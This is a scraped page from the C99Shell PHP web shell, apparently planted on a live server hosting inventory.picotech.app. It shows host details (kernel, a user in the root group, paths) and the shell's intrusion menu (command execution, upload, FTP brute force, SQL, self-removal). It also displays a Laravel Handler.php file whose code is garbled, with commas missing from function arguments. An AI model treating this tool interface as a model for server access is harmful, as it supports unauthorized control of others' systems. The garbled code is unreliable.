!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/app/Exceptions/   drwxr-xr-x
Free 28.2 GB of 117.98 GB (23.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Handler.php (3.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Exceptions;

use 
Illuminate\Foundation\Exceptions\Handler as ExceptionHandler;
use 
Illuminate\Auth\AuthenticationException;
use 
Throwable;
use 
Exception;
use 
App\Http\Controllers\BaseController;




class 
Handler extends ExceptionHandler
{
    
/**
     * A list of the exception types that are not reported.
     *
     * @var arrays
     */
 
    
protected $dontReport = [
        
\Illuminate\Auth\AuthenticationException::class,
        
\Illuminate\Auth\Access\AuthorizationException::class,
        
\Symfony\Component\HttpKernel\Exception\HttpException::class,
        
\Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException::class,
        
\Symfony\Component\HttpKernel\Exception\NotFoundHttpException::class,
        
\Illuminate\Database\Eloquent\ModelNotFoundException::class,
        
\Illuminate\Session\TokenMismatchException::class,
        
\Illuminate\Validation\ValidationException::class,
    ];

    
/**
     * A list of the inputs that are never flashed for validation exceptions.
     *
     * @var array
     */
    
protected $dontFlash = [
        
'password',
        
'password_confirmation',
    ];

    
/**
     * Report or log an exception.
     *
     * @param  \Throwable  $exception
     * @return void
     *
     * @throws \Exception
     */
    
public function report(Throwable $exception)
    {
        
parent::report($exception);
    }

    
/**
     * Render an exception into an HTTP response.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Throwable  $exception
     * @return \Symfony\Component\HttpFoundation\Response
     *
     * @throws \Throwable
     */
      

        // public function destroyCookie($cookie_name){
        
        //     $domain = ($_SERVER['SERVER_NAME'] != 'localhost') ? $_SERVER['SERVER_NAME'] : '.'.$_SERVER['SERVER_NAME'];

        //     if (isset($_COOKIE[$cookie_name])) {
        //         unset($_COOKIE[$cookie_name]);  
        //         setcookie($cookie_name, '', time() - 2147483647, '/', $domain); // empty value and old timestamp
        //     }
        // }
        // protected function unauthenticated($request, AuthenticationException $exception)
        // {
        //     if ($request->expectsJson()) {
        //         $this->destroyCookie('Stocky_token');

        //         return response()->json([
        //             'message' => 'Unauthenticated.',
        //             'status' => 401,
        //         ], 401);
        //     }

        // }


        
public function render($requestThrowable $exception)
        {
            if (
$exception instanceof \Illuminate\Database\Eloquent\ModelNotFoundException) {
                return 
response()->json([
                    
'message' => 'Not found',
                    
'status' => 404,
                ], 
404);

            }else  if (
$exception instanceof \Illuminate\Auth\Access\AuthorizationException) {
                return 
response()->json([
                    
'message' => 'You are not authorized',
                    
'status' => 403,
                ], 
403);
            }

            return 
parent::render($request$exception);
        }
       

    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--